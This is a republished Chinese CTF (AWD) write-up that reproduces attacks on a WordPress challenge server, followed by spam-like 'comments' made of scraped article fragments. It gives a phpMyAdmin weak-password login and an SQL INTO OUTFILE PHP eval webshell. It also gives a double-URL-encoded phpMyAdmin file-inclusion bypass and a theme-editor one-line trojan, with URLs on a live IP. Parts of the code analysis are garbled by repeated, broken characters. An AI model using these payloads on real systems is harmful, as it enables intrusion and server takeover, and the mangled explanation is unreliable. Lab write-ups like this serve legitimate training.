您现在的位置是:首页 > 电脑 > 

wordpress(awd复现)

2025-07-14 05:32:24
漏洞一:phpmyadmin数据库getshell 在网站源码位置发现phpmyadmin文件夹,进行文件访问 弱口令root,root进入mysql后台(也可以在数据库配置文件中查看) phpmyadmin后台执行sql语句 select “<?php eval($_POST[cjm])

漏洞一:phpmyadmin数据库getshell

在网站源码位置发现phpmyadmin文件夹,进行文件访问
弱口令root,root进入mysql后台(也可以在数据库配置文件中查看)
phpmyadmin后台执行sql语句
select “<?php eval($_POST[cjm]);” into outfile “/app/cjm.php”;
成功getshell

漏洞二:phpmyadmin后台文件包含

登入phpmyadmin的后台
http://114.67.175.224:10477/phpmyadmin/index.php?target=db_sql.php%25f%2F…%2F…%2F…%2F…%2F…%2F…%2Fflag
源码分析
查看phpmyadmin下的index.php
跟进target_blacklist数组,过滤掉import.php和export.php
在跟进Core类的checkPageValidity方法在phpmyadmin/libraries/classes/Core.php文件

查看$goto_whitelist,是一些php文件名字组成的数组

首先checkPageValidity有两个形参,第一个是target参数(用户输入的),因为前面index.php只传了一个参数过来,所以第二个 w h i t e l i s 是 空 的 。 第 一 个 条 件 就 判 断 whitelis是空的。第一个条件就判断 whiteliswhitelis是否为空,为空的话,就将定义的goto_whitelist赋值给whitelis。
重点关注最后一个判断。
经过urldecode函数解码后 p a g e 存 在 _page存在 pagewhitelist中的某个值则返回true
这里对target参数做了判断,用?隔开,后面是直接对?做一次解码。判断经过urldecode函数解码后的 p a g e 存 在 _page存在 pagewhitelist中的某个值则返回true。这里就需要对?进行二次编码。?二次url编码为%25可绕过。这两个判断都返回true。

漏洞三:wordpress 后台getshell


后台地址
通过社工进入后台

到编辑文件的地方

写入一句话木马进行更新文件
观察他的url是在twentyten文件夹,说明木马生成在了twentyten文件夹下
http://114.67.175.224:10477/wp-admin/theme-editor.php?file=404.php&theme=twentyten&scrollto=0

访问url,成功getshell
http://114.67.175.224:10477/wp-content/themes/twentyten/404.php

#感谢您对电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格的认可,转载请说明来源于"电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格

本文地址:http://www.dnpztj.cn/diannao/110017.html

相关标签:无
上传时间: 2023-05-02 05:01:03
留言与评论(共有 19 条评论)
本站网友 八一农垦大学
9分钟前 发表
这里就需要对?进行二次编码
本站网友 没图你说个j8
25分钟前 发表
第一个条件就判断whitelis是否为空,为空的话,就将定义的goto_whitelist赋值给whitelis
本站网友 dnf附魔卷轴
12分钟前 发表
//114.67.175.224
本站网友 恒业大厦
22分钟前 发表
//114.67.175.224
本站网友 福田汽车站官网
20分钟前 发表
这里就需要对?进行二次编码
本站网友 openprocesstoken
1分钟前 发表
//114.67.175.224
本站网友 普洱茶的功效与禁忌
11分钟前 发表
漏洞一
本站网友 sm公司官网
0秒前 发表
phpmyadmin后台文件包含 登入phpmyadmin的后台 http
本站网友 中国移动归属地查询
30分钟前 发表
判断经过urldecode函数解码后的 p a g e 存 在 _page存在 p​age存在whitelist中的某个值则返回true
本站网友 泉州二手房网
18分钟前 发表
//114.67.175.224
本站网友 沪深300etf套利
28分钟前 发表
判断经过urldecode函数解码后的 p a g e 存 在 _page存在 p​age存在whitelist中的某个值则返回true
本站网友 bugreport
3分钟前 发表
phpmyadmin数据库getshell 在网站源码位置发现phpmyadmin文件夹,进行文件访问 弱口令root
本站网友 东开发区租房
21分钟前 发表
第一个条件就判断 whitelis是空的
本站网友 郑东新区房价
5分钟前 发表
10477/wp-content/themes/twentyten/404.php
本站网友 眉山楼盘
29分钟前 发表
第 一 个 条 件 就 判 断 whitelis是空的
本站网友 连胜文蔡依珊
30分钟前 发表
经过urldecode函数解码后 p a g e 存 在 _page存在 p​age存在whitelist中的某个值则返回true 这里对target参数做了判断,用?隔开,后面是直接对?做一次解码
本站网友 坚强的石头
8分钟前 发表
phpmyadmin数据库getshell 在网站源码位置发现phpmyadmin文件夹,进行文件访问 弱口令root
本站网友 戒烟最好的办法
15分钟前 发表
重点关注最后一个判断